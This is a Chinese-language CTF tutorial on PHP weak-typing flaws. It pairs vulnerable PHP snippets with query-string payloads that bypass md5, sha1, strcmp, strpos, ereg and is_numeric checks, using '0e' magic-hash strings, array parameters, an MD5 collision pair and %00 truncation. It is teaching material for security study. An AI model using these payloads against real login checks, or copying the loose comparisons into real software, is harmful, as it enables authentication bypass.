php中佛系的md5和数组

1、MD5函数漏洞

1
2
$_GET['name'] != $_GET['password']
MD5($_GET['name']) == MD5($_GET['password'])

要求满足上述条件则
那么要求name和password数值不同但是MD5相同,在这里可以利用绕过。
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

以下值在md5加密后以0E开头:

1
2
3
4
5
6
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

以下值在sha1加密后以0E开头:

1
2
3
4
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')

GET传入a=QNKCDZO&b=240610708就能绕过了

2、php特性

1
2
3
if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!");
}

在php中===为完全等于运算,不仅比较值,而且还比较值的类型,只有两者一致才为真。再次使用a=QNKCDZO&b=240610708就不行了,因为a和b类型不同。
PHP中md5的函数特性

1
2
md5([1,2,3]) == md5([4,5,6]) == NULL
[1] !== [2] && md5([1]) === md5([2])

所以GET传入a[]=1&b[]=2就能够绕过了。

3、MD5碰撞

1
2
3
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!);
}

要求构造param1和param2不同,但是MD5相同,也就是说要求传入两个MD5相同的不同字符串。
使用fastcoll_v1.0.0.5.exe工具碰撞

1
2
Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

MD5值相同使用谷歌可以搜到相当多被巧妙构造出的二进制文件,其MD5相同,注意一点,post时一定要urlencode!!!建议使用burp编码

3.1、0e215962017

md5("0e215962017")==0e291242476940776845150308577824
md5后与自己弱相等

4、实战

4.1、数组绕过md5和strcmp

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

payload

1
/index.php?v1[]=1&v2[]=2&v3[]=3

4.2、QNKCDZO碰撞

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

要求输入两个md5值一样,但是字符串不一样的值,但是因为他比较使用的是==,所以可以通过md5值为0e开头的字符串绕过,因为php在处理==的时候当碰到的字符串有一边为0e开头的就把这串字符串认为是科学计数法,所以就是0,所以可以通过另一个md5值也是0e开头的字符串进行绕过.
payload

1
?a=s878926199a
1
2
3
4
5
6
7
8
9
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a

4.3、还是数组绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_GET['passwd'])) {
if ($_GET['uname'] == $_GET['passwd'])

print 'passwd can not be uname.';

else if (sha1($_GET['uname']) === sha1($_GET['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else

print 'sorry!';

}
?>

payload

1
/?uname[]=1&id=margin&passwd[]=2

4.4、弱类型整数大小比较绕过

1
2
3
4
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

payload
?password[]=1

4.5、数组返回NULL绕过

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$flag = "flag";

if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

payload
?password[]=1

4.6、strpos数组绕过

1
2
3
4
5
6
7
8
9
10
11
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>

payload
?ctf[]=1

4.7、00截断正则/也可以数组绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}

payload

1
2
3
4
1-利用数组绕过这两个函数
?password[]=1
2-%00截断绕过正则匹配
?password=1e9%00*-*

4.7、is_number

[极客大挑战 2019]BuyFlag

1
2
3
4
5
6
7
8
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

payload
password=404 (后面加一个空格)

tps:%00

文件包含是否支持%00截断取决于:
PHP版本<=5.2 可以使用%00进行截断。